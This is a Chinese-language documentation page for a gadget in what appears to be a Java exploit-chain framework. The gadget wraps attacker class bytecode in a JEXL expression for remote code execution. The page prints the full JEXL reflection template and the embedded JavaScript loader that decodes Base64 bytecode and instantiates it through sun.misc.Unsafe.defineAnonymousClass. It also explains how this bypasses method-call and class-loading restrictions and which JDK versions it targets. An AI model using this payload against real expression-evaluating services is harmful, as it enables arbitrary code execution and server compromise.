- 类别:common 别名:— 优先级:—
- 作者:—
- 依赖:
Jxel(Apache Commons JEXL 表达式引擎)
把内层产出的 class 字节码(byte[])包装成一段 JEXL 表达式字符串:该表达式在被 JEXL 引擎求值时,会经由 ScriptEngineManager 拿到 JS(Nashorn/Rhino)引擎,用内嵌 JS 通过 sun.misc.Unsafe.defineAnonymousClass 加载并实例化字节码,从而实现「JEXL 表达式 → 任意字节码执行」。
- 入口
tags:Jxel_Expr、Expression—— 表明产物是一段可被「消费 JEXL/通用表达式」的上游 gadget(如某个会evalJEXL 的 sink)承接的表达式串。 - 衔接
nextTags:BytecodeConvertTag—— 其内层(下一环)须是产出 class 字节码的 gadget,即 BytecodeConvert(再往内接Exec等)。 excludes:无。
本 gadget 借用 JsConvert 的 JS 加载模板,再套一层 JEXL 语法外壳:
public static String jexlTemplate =
"''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()"
+ ".getEngineByName(\"js\").eval(\"" + JsConvert.jsTemplate + "\")";
public String getObject(byte[] bytecode) {
String bytecodeB64 = Base64.encodeBase64String(bytecode);
return String.format(jexlTemplate, bytecodeB64);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((byte[]) chain.doCreate(context)); // 取内层字节码 → 转表达式串
}其中被内嵌的 JsConvert.jsTemplate 为:
// JsConvert.jsTemplate
"var s = '%s';var bt;try {bt = java.lang.Class.forName('sun.misc.BASE64Decoder').newInstance().decodeBuffer(s);}"
+ "catch (e) {bt = java.util.Base64.getDecoder().decode(s);}"
+ "var theUnsafeField = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');"
+ "theUnsafeField.setAccessible(true);unsafe = theUnsafeField.get(null);"
+ "unsafe.defineAnonymousClass(java.lang.Class.forName('java.lang.Class'), bt, null).newInstance();";逐段说明:
invoke先chain.doCreate取内层字节码,getObject将其 Base64 编码为bytecodeB64。jexlTemplate中只有一个%s占位符(来自内嵌jsTemplate里的var s = '%s'),String.format把 Base64 串填入。JEXL 外层''.getClass().forName("javax.script.ScriptEngineManager")...getEngineByName("js").eval("...")是纯 JEXL 反射写法,绕过对方法调用的直接限制。- JS 模板运行时:先把 Base64 还原为字节
bt(优先sun.misc.BASE64Decoder,失败回退java.util.Base64),再取出sun.misc.Unsafe.theUnsafe,用defineAnonymousClass直接从字节数组定义匿名类并newInstance(),触发恶意类的构造/静态逻辑(通常配合TemplatesImpl式恶意类完成 RCE)。 - 之所以走
Unsafe.defineAnonymousClass,是因为它无需自定义 ClassLoader、绕过大量类加载限制,且是 JS 引擎里可达的加载原语。
本 gadget 无 @Param。输入完全来自内层字节码(chain.doCreate),无用户可配字段。
- 需要目标存在可用的 JS 脚本引擎:Java 6/7 为 Mozilla Rhino,Java 8~14 为 Oracle Nashorn,JDK 15 起 Nashorn 被移除——因此内嵌 JS 加载路径对
8 <= jdk <= 14最稳(与 JsConvert 的适用区间一致)。 - 依赖
sun.misc.Unsafe.defineAnonymousClass,该 API 在高版本 JDK 亦逐步受限/移除,需注意运行时可用性。 - 最终触发点是「某处会对 JEXL 表达式求值」的 sink;本 gadget 只负责把字节码变成这样一段表达式。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。用于以 JEXL 表达式为载体投递字节码的自定义组合。
- 下游(
nextTags=BytecodeConvertTag):BytecodeConvert →(Exec 等字节码 sink)。 - 底层复用:JsConvert(提供 JS 加载模板)。
- 同族表达式转换:JinJavaConvert(JinJava 表达式版本)。